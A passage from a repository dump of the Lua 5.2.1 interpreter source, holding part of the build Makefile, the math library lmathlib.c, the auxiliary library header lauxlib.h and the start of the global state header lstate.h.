| PLAT= none 8 | 9 | CC= gcc 10 | CFLAGS= -O2 -Wall -DLUA_COMPAT_ALL $(SYSCFLAGS) $(MYCFLAGS) 11 | LDFLAGS= $(SYSLDFLAGS) $(MYLDFLAGS) 12 | LIBS= -lm $(SYSLIBS) $(MYLIBS) 13 | 14 | AR= ar rcu 15 | RANLIB= ranlib 16 | RM= rm -f 17 | 18 | SYSCFLAGS= 19 | SYSLDFLAGS= 20 | SYSLIBS= 21 | 22 | MYCFLAGS= 23 | MYLDFLAGS= 24 | MYLIBS= 25 | MYOBJS= 26 | 27 | # == END OF USER SETTINGS -- NO NEED TO CHANGE ANYTHING BELOW THIS LINE ======= 28 | 29 | PLATS= aix ansi bsd freebsd generic linux macosx mingw posix solaris 30 | 31 | LUA_A= liblua.a 32 | CORE_O= lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o \ 33 | lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o \ 34 | ltm.o lundump.o lvm.o lzio.o 35 | LIB_O= lauxlib.o lbaselib.o lbitlib.o lcorolib.o ldblib.o liolib.o \ 36 | lmathlib.o loslib.o lstrlib.o ltablib.o loadlib.o linit.o 37 | BASE_O= $(CORE_O) $(LIB_O) $(MYOBJS) 38 | 39 | LUA_T= lua 40 | LUA_O= lua.o 41 | 42 | LUAC_T= luac 43 | LUAC_O= luac.o 44 | 45 | ALL_O= $(BASE_O) $(LUA_O) $(LUAC_O) 46 | ALL_T= $(LUA_A) $(LUA_T) $(LUAC_T) 47 | ALL_A= $(LUA_A) 48 | 49 | # Targets start here. 50 | default: $(PLAT) 51 | 52 | all: $(ALL_T) 53 | 54 | o: $(ALL_O) 55 | 56 | a: $(ALL_A) 57 | 58 | $(LUA_A): $(BASE_O) 59 | $(AR) $@ $(BASE_O) 60 | $(RANLIB) $@ 61 | 62 | $(LUA_T): $(LUA_O) $(LUA_A) 63 | $(CC) -o $@ $(LDFLAGS) $(LUA_O) $(LUA_A) $(LIBS) 64 | 65 | $(LUAC_T): $(LUAC_O) $(LUA_A) 66 | $(CC) -o $@ $(LDFLAGS) $(LUAC_O) $(LUA_A) $(LIBS) 67 | 68 | clean: 69 | $(RM) $(ALL_T) $(ALL_O) 70 | 71 | depend: 72 | @$(CC) $(CFLAGS) -MM l*.c 73 | 74 | echo: 75 | @echo "PLAT= $(PLAT)" 76 | @echo "CC= $(CC)" 77 | @echo "CFLAGS= $(CFLAGS)" 78 | @echo "LDFLAGS= $(SYSLDFLAGS)" 79 | @echo "LIBS= $(LIBS)" 80 | @echo "AR= $(AR)" 81 | @echo "RANLIB= $(RANLIB)" 82 | @echo "RM= $(RM)" 83 | 84 | # Convenience targets for popular platforms 85 | ALL= all 86 | 87 | none: 88 | @echo "Please do 'make PLATFORM' where PLATFORM is one of these:" 89 | @echo " $(PLATS)" 90 | 91 | aix: 92 | $(MAKE) $(ALL) CC="xlc" CFLAGS="-O2 -DLUA_USE_POSIX -DLUA_USE_DLOPEN" SYSLIBS="-ldl" SYSLDFLAGS="-brtl -bexpall" 93 | 94 | ansi: 95 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_ANSI" 96 | 97 | bsd: 98 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX -DLUA_USE_DLOPEN" SYSLIBS="-Wl,-E" 99 | 100 | freebsd: 101 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_LINUX" SYSLIBS="-Wl,-E -lreadline" 102 | 103 | generic: $(ALL) 104 | 105 | linux: 106 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_LINUX" SYSLIBS="-Wl,-E -ldl -lreadline -lncurses" 107 | 108 | macosx: 109 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_MACOSX" SYSLIBS="-lreadline" 110 | 111 | mingw: 112 | $(MAKE) "LUA_A=lua52.dll" "LUA_T=lua.exe" \ 113 | "AR=$(CC) -shared -o" "RANLIB=strip --strip-unneeded" \ 114 | "SYSCFLAGS=-DLUA_BUILD_AS_DLL" "SYSLIBS=" "SYSLDFLAGS=-s" lua.exe 115 | $(MAKE) "LUAC_T=luac.exe" luac.exe 116 | 117 | posix: 118 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX" 119 | 120 | solaris: 121 | $(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX -DLUA_USE_DLOPEN" SYSLIBS="-ldl" 122 | 123 | # list targets that do not create files (but not all makes understand .PHONY) 124 | .PHONY: all $(PLATS) default o a clean depend echo none 125 | 126 | # DO NOT DELETE 127 | 128 | lapi.o: lapi.c lua.h luaconf.h lapi.h llimits.h lstate.h lobject.h ltm.h \ 129 | lzio.h lmem.h ldebug.h ldo.h lfunc.h lgc.h lstring.h ltable.h lundump.h \ 130 | lvm.h 131 | lauxlib.o: lauxlib.c lua.h luaconf.h lauxlib.h 132 | lbaselib.o: lbaselib.c lua.h luaconf.h lauxlib.h lualib.h 133 | lbitlib.o: lbitlib.c lua.h luaconf.h lauxlib.h lualib.h 134 | lcode.o: lcode.c lua.h luaconf.h lcode.h llex.h lobject.h llimits.h \ 135 | lzio.h lmem.h lopcodes.h lparser.h ldebug.h lstate.h ltm.h ldo.h lgc.h \ 136 | lstring.h ltable.h lvm.h 137 | lcorolib.o: lcorolib.c lua.h luaconf.h lauxlib.h lualib.h 138 | lctype.o: lctype.c lctype.h lua.h luaconf.h llimits.h 139 | ldblib.o: ldblib.c lua.h luaconf.h lauxlib.h lualib.h 140 | ldebug.o: ldebug.c lua.h luaconf.h lapi.h llimits.h lstate.h lobject.h \ 141 | ltm.h lzio.h lmem.h lcode.h llex.h lopcodes.h lparser.h ldebug.h ldo.h \ 142 | lfunc.h lstring.h lgc.h ltable.h lvm.h 143 | ldo.o: ldo.c lua.h luaconf.h lapi.h llimits.h lstate.h lobject.h ltm.h \ 144 | lzio.h lmem.h ldebug.h ldo.h lfunc.h lgc.h lopcodes.h lparser.h \ 145 | lstring.h ltable.h lundump.h lvm.h 146 | ldump.o: ldump.c lua.h luaconf.h lobject.h llimits.h lstate.h ltm.h \ 147 | lzio.h lmem.h lundump.h 148 | lfunc.o: lfunc.c lua.h luaconf.h lfunc.h lobject.h llimits.h lgc.h \ 149 | lstate.h ltm.h lzio.h lmem.h 150 | lgc.o: lgc.c lua.h luaconf.h ldebug.h lstate.h lobject.h llimits.h ltm.h \ 151 | lzio.h lmem.h ldo.h lfunc.h lgc.h lstring.h ltable.h 152 | linit.o: linit.c lua.h luaconf.h lualib.h lauxlib.h 153 | liolib.o: liolib.c lua.h luaconf.h lauxlib.h lualib.h 154 | llex.o: llex.c lua.h luaconf.h lctype.h llimits.h ldo.h lobject.h \ 155 | lstate.h ltm.h lzio.h lmem.h llex.h lparser.h lstring.h lgc.h ltable.h 156 | lmathlib.o: lmathlib.c lua.h luaconf.h lauxlib.h lualib.h 157 | lmem.o: lmem.c lua.h luaconf.h ldebug.h lstate.h lobject.h llimits.h \ 158 | ltm.h lzio.h lmem.h ldo.h lgc.h 159 | loadlib.o: loadlib.c lua.h luaconf.h lauxlib.h lualib.h 160 | lobject.o: lobject.c lua.h luaconf.h lctype.h llimits.h ldebug.h lstate.h \ 161 | lobject.h ltm.h lzio.h lmem.h ldo.h lstring.h lgc.h lvm.h 162 | lopcodes.o: lopcodes.c lopcodes.h llimits.h lua.h luaconf.h 163 | loslib.o: loslib.c lua.h luaconf.h lauxlib.h lualib.h 164 | lparser.o: lparser.c lua.h luaconf.h lcode.h llex.h lobject.h llimits.h \ 165 | lzio.h lmem.h lopcodes.h lparser.h ldebug.h lstate.h ltm.h ldo.h lfunc.h \ 166 | lstring.h lgc.h ltable.h 167 | lstate.o: lstate.c lua.h luaconf.h lapi.h llimits.h lstate.h lobject.h \ 168 | ltm.h lzio.h lmem.h ldebug.h ldo.h lfunc.h lgc.h llex.h lstring.h \ 169 | ltable.h 170 | lstring.o: lstring.c lua.h luaconf.h lmem.h llimits.h lobject.h lstate.h \ 171 | ltm.h lzio.h lstring.h lgc.h 172 | lstrlib.o: lstrlib.c lua.h luaconf.h lauxlib.h lualib.h 173 | ltable.o: ltable.c lua.h luaconf.h ldebug.h lstate.h lobject.h llimits.h \ 174 | ltm.h lzio.h lmem.h ldo.h lgc.h lstring.h ltable.h lvm.h 175 | ltablib.o: ltablib.c lua.h luaconf.h lauxlib.h lualib.h 176 | ltm.o: ltm.c lua.h luaconf.h lobject.h llimits.h lstate.h ltm.h lzio.h \ 177 | lmem.h lstring.h lgc.h ltable.h 178 | lua.o: lua.c lua.h luaconf.h lauxlib.h lualib.h 179 | luac.o: luac.c lua.h luaconf.h lauxlib.h lobject.h llimits.h lstate.h \ 180 | ltm.h lzio.h lmem.h lundump.h ldebug.h lopcodes.h 181 | lundump.o: lundump.c lua.h luaconf.h ldebug.h lstate.h lobject.h \ 182 | llimits.h ltm.h lzio.h lmem.h ldo.h lfunc.h lstring.h lgc.h lundump.h 183 | lvm.o: lvm.c lua.h luaconf.h ldebug.h lstate.h lobject.h llimits.h ltm.h \ 184 | lzio.h lmem.h ldo.h lfunc.h lgc.h lopcodes.h lstring.h ltable.h lvm.h 185 | lzio.o: lzio.c lua.h luaconf.h llimits.h lmem.h lstate.h lobject.h ltm.h \ 186 | lzio.h 187 | 188 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lmathlib.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lmathlib.c,v 1.81 2012/05/18 17:47:53 roberto Exp $ 3 | ** Standard mathematical library 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | #include 10 | 11 | #define lmathlib_c 12 | #define LUA_LIB 13 | 14 | #include "lua.h" 15 | 16 | #include "lauxlib.h" 17 | #include "lualib.h" 18 | 19 | 20 | /* macro 'l_tg' allows the addition of an 'l' or 'f' to all math operations */ 21 | #if !defined(l_tg) 22 | #define l_tg(x) (x) 23 | #endif 24 | 25 | 26 | #undef PI 27 | #define PI (l_tg(3.1415926535897932384626433832795)) 28 | #define RADIANS_PER_DEGREE (PI/180.0) 29 | 30 | 31 | 32 | static int math_abs (lua_State *L) { 33 | lua_pushnumber(L, l_tg(fabs)(luaL_checknumber(L, 1))); 34 | return 1; 35 | } 36 | 37 | static int math_sin (lua_State *L) { 38 | lua_pushnumber(L, l_tg(sin)(luaL_checknumber(L, 1))); 39 | return 1; 40 | } 41 | 42 | static int math_sinh (lua_State *L) { 43 | lua_pushnumber(L, l_tg(sinh)(luaL_checknumber(L, 1))); 44 | return 1; 45 | } 46 | 47 | static int math_cos (lua_State *L) { 48 | lua_pushnumber(L, l_tg(cos)(luaL_checknumber(L, 1))); 49 | return 1; 50 | } 51 | 52 | static int math_cosh (lua_State *L) { 53 | lua_pushnumber(L, l_tg(cosh)(luaL_checknumber(L, 1))); 54 | return 1; 55 | } 56 | 57 | static int math_tan (lua_State *L) { 58 | lua_pushnumber(L, l_tg(tan)(luaL_checknumber(L, 1))); 59 | return 1; 60 | } 61 | 62 | static int math_tanh (lua_State *L) { 63 | lua_pushnumber(L, l_tg(tanh)(luaL_checknumber(L, 1))); 64 | return 1; 65 | } 66 | 67 | static int math_asin (lua_State *L) { 68 | lua_pushnumber(L, l_tg(asin)(luaL_checknumber(L, 1))); 69 | return 1; 70 | } 71 | 72 | static int math_acos (lua_State *L) { 73 | lua_pushnumber(L, l_tg(acos)(luaL_checknumber(L, 1))); 74 | return 1; 75 | } 76 | 77 | static int math_atan (lua_State *L) { 78 | lua_pushnumber(L, l_tg(atan)(luaL_checknumber(L, 1))); 79 | return 1; 80 | } 81 | 82 | static int math_atan2 (lua_State *L) { 83 | lua_pushnumber(L, l_tg(atan2)(luaL_checknumber(L, 1), 84 | luaL_checknumber(L, 2))); 85 | return 1; 86 | } 87 | 88 | static int math_ceil (lua_State *L) { 89 | lua_pushnumber(L, l_tg(ceil)(luaL_checknumber(L, 1))); 90 | return 1; 91 | } 92 | 93 | static int math_floor (lua_State *L) { 94 | lua_pushnumber(L, l_tg(floor)(luaL_checknumber(L, 1))); 95 | return 1; 96 | } 97 | 98 | static int math_fmod (lua_State *L) { 99 | lua_pushnumber(L, l_tg(fmod)(luaL_checknumber(L, 1), 100 | luaL_checknumber(L, 2))); 101 | return 1; 102 | } 103 | 104 | static int math_modf (lua_State *L) { 105 | lua_Number ip; 106 | lua_Number fp = l_tg(modf)(luaL_checknumber(L, 1), &ip); 107 | lua_pushnumber(L, ip); 108 | lua_pushnumber(L, fp); 109 | return 2; 110 | } 111 | 112 | static int math_sqrt (lua_State *L) { 113 | lua_pushnumber(L, l_tg(sqrt)(luaL_checknumber(L, 1))); 114 | return 1; 115 | } 116 | 117 | static int math_pow (lua_State *L) { 118 | lua_pushnumber(L, l_tg(pow)(luaL_checknumber(L, 1), 119 | luaL_checknumber(L, 2))); 120 | return 1; 121 | } 122 | 123 | static int math_log (lua_State *L) { 124 | lua_Number x = luaL_checknumber(L, 1); 125 | lua_Number res; 126 | if (lua_isnoneornil(L, 2)) 127 | res = l_tg(log)(x); 128 | else { 129 | lua_Number base = luaL_checknumber(L, 2); 130 | if (base == 10.0) res = l_tg(log10)(x); 131 | else res = l_tg(log)(x)/l_tg(log)(base); 132 | } 133 | lua_pushnumber(L, res); 134 | return 1; 135 | } 136 | 137 | #if defined(LUA_COMPAT_LOG10) 138 | static int math_log10 (lua_State *L) { 139 | lua_pushnumber(L, l_tg(log10)(luaL_checknumber(L, 1))); 140 | return 1; 141 | } 142 | #endif 143 | 144 | static int math_exp (lua_State *L) { 145 | lua_pushnumber(L, l_tg(exp)(luaL_checknumber(L, 1))); 146 | return 1; 147 | } 148 | 149 | static int math_deg (lua_State *L) { 150 | lua_pushnumber(L, luaL_checknumber(L, 1)/RADIANS_PER_DEGREE); 151 | return 1; 152 | } 153 | 154 | static int math_rad (lua_State *L) { 155 | lua_pushnumber(L, luaL_checknumber(L, 1)*RADIANS_PER_DEGREE); 156 | return 1; 157 | } 158 | 159 | static int math_frexp (lua_State *L) { 160 | int e; 161 | lua_pushnumber(L, l_tg(frexp)(luaL_checknumber(L, 1), &e)); 162 | lua_pushinteger(L, e); 163 | return 2; 164 | } 165 | 166 | static int math_ldexp (lua_State *L) { 167 | lua_pushnumber(L, l_tg(ldexp)(luaL_checknumber(L, 1), 168 | luaL_checkint(L, 2))); 169 | return 1; 170 | } 171 | 172 | 173 | 174 | static int math_min (lua_State *L) { 175 | int n = lua_gettop(L); /* number of arguments */ 176 | lua_Number dmin = luaL_checknumber(L, 1); 177 | int i; 178 | for (i=2; i<=n; i++) { 179 | lua_Number d = luaL_checknumber(L, i); 180 | if (d < dmin) 181 | dmin = d; 182 | } 183 | lua_pushnumber(L, dmin); 184 | return 1; 185 | } 186 | 187 | 188 | static int math_max (lua_State *L) { 189 | int n = lua_gettop(L); /* number of arguments */ 190 | lua_Number dmax = luaL_checknumber(L, 1); 191 | int i; 192 | for (i=2; i<=n; i++) { 193 | lua_Number d = luaL_checknumber(L, i); 194 | if (d > dmax) 195 | dmax = d; 196 | } 197 | lua_pushnumber(L, dmax); 198 | return 1; 199 | } 200 | 201 | 202 | static int math_random (lua_State *L) { 203 | /* the `%' avoids the (rare) case of r==1, and is needed also because on 204 | some systems (SunOS!) `rand()' may return a value larger than RAND_MAX */ 205 | lua_Number r = (lua_Number)(rand()%RAND_MAX) / (lua_Number)RAND_MAX; 206 | switch (lua_gettop(L)) { /* check number of arguments */ 207 | case 0: { /* no arguments */ 208 | lua_pushnumber(L, r); /* Number between 0 and 1 */ 209 | break; 210 | } 211 | case 1: { /* only upper limit */ 212 | lua_Number u = luaL_checknumber(L, 1); 213 | luaL_argcheck(L, 1.0 <= u, 1, "interval is empty"); 214 | lua_pushnumber(L, l_tg(floor)(r*u) + 1.0); /* int in [1, u] */ 215 | break; 216 | } 217 | case 2: { /* lower and upper limits */ 218 | lua_Number l = luaL_checknumber(L, 1); 219 | lua_Number u = luaL_checknumber(L, 2); 220 | luaL_argcheck(L, l <= u, 2, "interval is empty"); 221 | lua_pushnumber(L, l_tg(floor)(r*(u-l+1)) + l); /* int in [l, u] */ 222 | break; 223 | } 224 | default: return luaL_error(L, "wrong number of arguments"); 225 | } 226 | return 1; 227 | } 228 | 229 | 230 | static int math_randomseed (lua_State *L) { 231 | srand(luaL_checkunsigned(L, 1)); 232 | (void)rand(); /* discard first value to avoid undesirable correlations */ 233 | return 0; 234 | } 235 | 236 | 237 | static const luaL_Reg mathlib[] = { 238 | {"abs", math_abs}, 239 | {"acos", math_acos}, 240 | {"asin", math_asin}, 241 | {"atan2", math_atan2}, 242 | {"atan", math_atan}, 243 | {"ceil", math_ceil}, 244 | {"cosh", math_cosh}, 245 | {"cos", math_cos}, 246 | {"deg", math_deg}, 247 | {"exp", math_exp}, 248 | {"floor", math_floor}, 249 | {"fmod", math_fmod}, 250 | {"frexp", math_frexp}, 251 | {"ldexp", math_ldexp}, 252 | #if defined(LUA_COMPAT_LOG10) 253 | {"log10", math_log10}, 254 | #endif 255 | {"log", math_log}, 256 | {"max", math_max}, 257 | {"min", math_min}, 258 | {"modf", math_modf}, 259 | {"pow", math_pow}, 260 | {"rad", math_rad}, 261 | {"random", math_random}, 262 | {"randomseed", math_randomseed}, 263 | {"sinh", math_sinh}, 264 | {"sin", math_sin}, 265 | {"sqrt", math_sqrt}, 266 | {"tanh", math_tanh}, 267 | {"tan", math_tan}, 268 | {NULL, NULL} 269 | }; 270 | 271 | 272 | /* 273 | ** Open math library 274 | */ 275 | LUAMOD_API int luaopen_math (lua_State *L) { 276 | luaL_newlib(L, mathlib); 277 | lua_pushnumber(L, PI); 278 | lua_setfield(L, -2, "pi"); 279 | lua_pushnumber(L, HUGE_VAL); 280 | lua_setfield(L, -2, "huge"); 281 | return 1; 282 | } 283 | 284 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lauxlib.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lauxlib.h,v 1.120 2011/11/29 15:55:08 roberto Exp $ 3 | ** Auxiliary functions for building Lua libraries 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #ifndef lauxlib_h 9 | #define lauxlib_h 10 | 11 | #include 12 | #include 13 | 14 | #include "lua.h" 15 | 16 | 17 | 18 | /* extra error code for `luaL_load' */ 19 | #define LUA_ERRFILE (LUA_ERRERR+1) 20 | 21 | 22 | typedef struct luaL_Reg { 23 | const char *name; 24 | lua_CFunction func; 25 | } luaL_Reg; 26 | 27 | 28 | LUALIB_API void (luaL_checkversion_) (lua_State *L, lua_Number ver); 29 | #define luaL_checkversion(L) luaL_checkversion_(L, LUA_VERSION_NUM) 30 | 31 | LUALIB_API int (luaL_getmetafield) (lua_State *L, int obj, const char *e); 32 | LUALIB_API int (luaL_callmeta) (lua_State *L, int obj, const char *e); 33 | LUALIB_API const char *(luaL_tolstring) (lua_State *L, int idx, size_t *len); 34 | LUALIB_API int (luaL_argerror) (lua_State *L, int numarg, const char *extramsg); 35 | LUALIB_API const char *(luaL_checklstring) (lua_State *L, int numArg, 36 | size_t *l); 37 | LUALIB_API const char *(luaL_optlstring) (lua_State *L, int numArg, 38 | const char *def, size_t *l); 39 | LUALIB_API lua_Number (luaL_checknumber) (lua_State *L, int numArg); 40 | LUALIB_API lua_Number (luaL_optnumber) (lua_State *L, int nArg, lua_Number def); 41 | 42 | LUALIB_API lua_Integer (luaL_checkinteger) (lua_State *L, int numArg); 43 | LUALIB_API lua_Integer (luaL_optinteger) (lua_State *L, int nArg, 44 | lua_Integer def); 45 | LUALIB_API lua_Unsigned (luaL_checkunsigned) (lua_State *L, int numArg); 46 | LUALIB_API lua_Unsigned (luaL_optunsigned) (lua_State *L, int numArg, 47 | lua_Unsigned def); 48 | 49 | LUALIB_API void (luaL_checkstack) (lua_State *L, int sz, const char *msg); 50 | LUALIB_API void (luaL_checktype) (lua_State *L, int narg, int t); 51 | LUALIB_API void (luaL_checkany) (lua_State *L, int narg); 52 | 53 | LUALIB_API int (luaL_newmetatable) (lua_State *L, const char *tname); 54 | LUALIB_API void (luaL_setmetatable) (lua_State *L, const char *tname); 55 | LUALIB_API void *(luaL_testudata) (lua_State *L, int ud, const char *tname); 56 | LUALIB_API void *(luaL_checkudata) (lua_State *L, int ud, const char *tname); 57 | 58 | LUALIB_API void (luaL_where) (lua_State *L, int lvl); 59 | LUALIB_API int (luaL_error) (lua_State *L, const char *fmt, ...); 60 | 61 | LUALIB_API int (luaL_checkoption) (lua_State *L, int narg, const char *def, 62 | const char *const lst[]); 63 | 64 | LUALIB_API int (luaL_fileresult) (lua_State *L, int stat, const char *fname); 65 | LUALIB_API int (luaL_execresult) (lua_State *L, int stat); 66 | 67 | /* pre-defined references */ 68 | #define LUA_NOREF (-2) 69 | #define LUA_REFNIL (-1) 70 | 71 | LUALIB_API int (luaL_ref) (lua_State *L, int t); 72 | LUALIB_API void (luaL_unref) (lua_State *L, int t, int ref); 73 | 74 | LUALIB_API int (luaL_loadfilex) (lua_State *L, const char *filename, 75 | const char *mode); 76 | 77 | #define luaL_loadfile(L,f) luaL_loadfilex(L,f,NULL) 78 | 79 | LUALIB_API int (luaL_loadbufferx) (lua_State *L, const char *buff, size_t sz, 80 | const char *name, const char *mode); 81 | LUALIB_API int (luaL_loadstring) (lua_State *L, const char *s); 82 | 83 | LUALIB_API lua_State *(luaL_newstate) (void); 84 | 85 | LUALIB_API int (luaL_len) (lua_State *L, int idx); 86 | 87 | LUALIB_API const char *(luaL_gsub) (lua_State *L, const char *s, const char *p, 88 | const char *r); 89 | 90 | LUALIB_API void (luaL_setfuncs) (lua_State *L, const luaL_Reg *l, int nup); 91 | 92 | LUALIB_API int (luaL_getsubtable) (lua_State *L, int idx, const char *fname); 93 | 94 | LUALIB_API void (luaL_traceback) (lua_State *L, lua_State *L1, 95 | const char *msg, int level); 96 | 97 | LUALIB_API void (luaL_requiref) (lua_State *L, const char *modname, 98 | lua_CFunction openf, int glb); 99 | 100 | /* 101 | ** =============================================================== 102 | ** some useful macros 103 | ** =============================================================== 104 | */ 105 | 106 | 107 | #define luaL_newlibtable(L,l) \ 108 | lua_createtable(L, 0, sizeof(l)/sizeof((l)[0]) - 1) 109 | 110 | #define luaL_newlib(L,l) (luaL_newlibtable(L,l), luaL_setfuncs(L,l,0)) 111 | 112 | #define luaL_argcheck(L, cond,numarg,extramsg) \ 113 | ((void)((cond) || luaL_argerror(L, (numarg), (extramsg)))) 114 | #define luaL_checkstring(L,n) (luaL_checklstring(L, (n), NULL)) 115 | #define luaL_optstring(L,n,d) (luaL_optlstring(L, (n), (d), NULL)) 116 | #define luaL_checkint(L,n) ((int)luaL_checkinteger(L, (n))) 117 | #define luaL_optint(L,n,d) ((int)luaL_optinteger(L, (n), (d))) 118 | #define luaL_checklong(L,n) ((long)luaL_checkinteger(L, (n))) 119 | #define luaL_optlong(L,n,d) ((long)luaL_optinteger(L, (n), (d))) 120 | 121 | #define luaL_typename(L,i) lua_typename(L, lua_type(L,(i))) 122 | 123 | #define luaL_dofile(L, fn) \ 124 | (luaL_loadfile(L, fn) || lua_pcall(L, 0, LUA_MULTRET, 0)) 125 | 126 | #define luaL_dostring(L, s) \ 127 | (luaL_loadstring(L, s) || lua_pcall(L, 0, LUA_MULTRET, 0)) 128 | 129 | #define luaL_getmetatable(L,n) (lua_getfield(L, LUA_REGISTRYINDEX, (n))) 130 | 131 | #define luaL_opt(L,f,n,d) (lua_isnoneornil(L,(n)) ? (d) : f(L,(n))) 132 | 133 | #define luaL_loadbuffer(L,s,sz,n) luaL_loadbufferx(L,s,sz,n,NULL) 134 | 135 | 136 | /* 137 | ** {====================================================== 138 | ** Generic Buffer manipulation 139 | ** ======================================================= 140 | */ 141 | 142 | typedef struct luaL_Buffer { 143 | char *b; /* buffer address */ 144 | size_t size; /* buffer size */ 145 | size_t n; /* number of characters in buffer */ 146 | lua_State *L; 147 | char initb[LUAL_BUFFERSIZE]; /* initial buffer */ 148 | } luaL_Buffer; 149 | 150 | 151 | #define luaL_addchar(B,c) \ 152 | ((void)((B)->n < (B)->size || luaL_prepbuffsize((B), 1)), \ 153 | ((B)->b[(B)->n++] = (c))) 154 | 155 | #define luaL_addsize(B,s) ((B)->n += (s)) 156 | 157 | LUALIB_API void (luaL_buffinit) (lua_State *L, luaL_Buffer *B); 158 | LUALIB_API char *(luaL_prepbuffsize) (luaL_Buffer *B, size_t sz); 159 | LUALIB_API void (luaL_addlstring) (luaL_Buffer *B, const char *s, size_t l); 160 | LUALIB_API void (luaL_addstring) (luaL_Buffer *B, const char *s); 161 | LUALIB_API void (luaL_addvalue) (luaL_Buffer *B); 162 | LUALIB_API void (luaL_pushresult) (luaL_Buffer *B); 163 | LUALIB_API void (luaL_pushresultsize) (luaL_Buffer *B, size_t sz); 164 | LUALIB_API char *(luaL_buffinitsize) (lua_State *L, luaL_Buffer *B, size_t sz); 165 | 166 | #define luaL_prepbuffer(B) luaL_prepbuffsize(B, LUAL_BUFFERSIZE) 167 | 168 | /* }====================================================== */ 169 | 170 | 171 | 172 | /* 173 | ** {====================================================== 174 | ** File handles for IO library 175 | ** ======================================================= 176 | */ 177 | 178 | /* 179 | ** A file handle is a userdata with metatable 'LUA_FILEHANDLE' and 180 | ** initial structure 'luaL_Stream' (it may contain other fields 181 | ** after that initial structure). 182 | */ 183 | 184 | #define LUA_FILEHANDLE "FILE*" 185 | 186 | 187 | typedef struct luaL_Stream { 188 | FILE *f; /* stream (NULL for incompletely created streams) */ 189 | lua_CFunction closef; /* to close stream (NULL for closed streams) */ 190 | } luaL_Stream; 191 | 192 | /* }====================================================== */ 193 | 194 | 195 | 196 | /* compatibility with old module system */ 197 | #if defined(LUA_COMPAT_MODULE) 198 | LUALIB_API void (luaL_pushmodule) (lua_State *L, const char *modname, 199 | int sizehint); 200 | LUALIB_API void (luaL_openlib) (lua_State *L, const char *libname, 201 | const luaL_Reg *l, int nup); 202 | 203 | #define luaL_register(L,n,l) (luaL_openlib(L,(n),(l),0)) 204 | 205 | #endif 206 | 207 | 208 | #endif 209 | 210 | 211 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lstate.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lstate.h,v 2.81 2012/06/08 15:14:04 roberto Exp $ 3 | ** Global State 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lstate_h 8 | #define lstate_h 9 | 10 | #include "lua.h" 11 | 12 | #include "lobject.h" 13 | #include "ltm.h" 14 | #include "lzio.h" 15 | 16 | 17 | /* 18 | 19 | ** Some notes about garbage-collected objects: All objects in Lua must 20 | ** be kept somehow accessible until being freed. 21 | ** 22 | ** Lua keeps most objects linked in list g->allgc. The link uses field 23 | ** 'next' of the CommonHeader. 24 | ** 25 | ** Strings are kept in several lists headed by the array g->strt.hash. 26 | ** 27 | ** Open upvalues are not subject to independent garbage collection. They 28 | ** are collected together with their respective threads. Lua keeps a 29 | ** double-linked list with all open upvalues (g->uvhead) so that it can 30 | ** mark objects referred by them. (They are always gray, so they must 31 | ** be remarked in the atomic step. Usually their contents would be marked 32 | ** when traversing the respective threads, but the thread may already be 33 | ** dead, while the upvalue is still accessible through closures.) 34 | ** 35 | ** Objects with finalizers are kept in the list g->finobj. 36 | ** 37 | ** The list g->tobefnz links all objects being finalized. 38 | 39 | */ 40 | 41 | 42 | struct lua_longjmp; /* defined in ldo.c */ 43 | 44 | 45 | 46 | /* extra stack space to handle TM calls and some other extras */ 47 | #define EXTRA_STACK 5 48 | 49 | 50 | #define BASIC_STACK_SIZE (2*LUA_MINSTACK) 51 | 52 | 53 | /* kinds of Garbage Collection */ 54 | #define KGC_NORMAL 0 55 | #define KGC_EMERGENCY 1 /* gc was forced by an allocation failure */ 56 | #define KGC_GEN 2 /* generational collection */ 57 | 58 | 59 | typedef struct stringtable { 60 | GCObject **hash; 61 | lu_int32 nuse; /* number of elements */ 62 | int size; 63 | } stringtable; 64 | 65 | 66 | /* 67 | ** information about a call 68 | */ 69 | typedef struct CallInfo { 70 | StkId func; /* function index in the stack */ 71 | StkId top; /* top for this function */ 72 | struct CallInfo *previous, *next; /* dynamic call link */ 73 | short nresults; /* expected number of results from this function */ 74 | lu_byte callstatus; 75 | ptrdiff_t extra; 76 | union { 77 | struct { /* only for Lua functions */ 78 | StkId base; /* base for this function */ 79 | const Instruction *savedpc; 80 | } l; 81 | struct { /* only for C functions */ 82 | int ctx; /* context info. in case of yields */ 83 | lua_CFunction k; /* continuation in case of yields */ 84 | ptrdiff_t old_errfunc; 85 | lu_byte old_allowhook; 86 | lu_byte status; 87 | } c; 88 | } u; 89 | } CallInfo; 90 | 91 | 92 | /* 93 | ** Bits in CallInfo status 94 | */ 95 | #define CIST_LUA (1<<0) /* call is running a Lua function */ 96 | #define CIST_HOOKED (1<<1) /* call is running a debug hook */ 97 | #define CIST_REENTRY (1<<2) /* call is running on same invocation of 98 | luaV_execute of previous call */ 99 | #define CIST_YIELDED (1<<3) /* call reentered after suspension */ 100 | #define CIST_YPCALL (1<<4) /* call is a yieldable protected call */ 101 | #define CIST_STAT (1<<5) /* call has an error status (pcall) */ 102 | #define CIST_TAIL (1<<6) /* call was tail called */ 103 | #define CIST_HOOKYIELD (1<<7) /* last hook called yielded */ 104 | 105 | 106 | #define isLua(ci) ((ci)->callstatus & CIST_LUA) 107 | 108 | 109 | /* 110 | ** `global state', shared by all threads of this state 111 | */ 112 | typedef struct global_State { 113 | lua_Alloc frealloc; /* function to reallocate memory */ 114 | void *ud; /* auxiliary data to `frealloc' */ 115 | lu_mem totalbytes; /* number of bytes currently allocated - GCdebt */ 116 | l_mem GCdebt; /* bytes allocated not yet 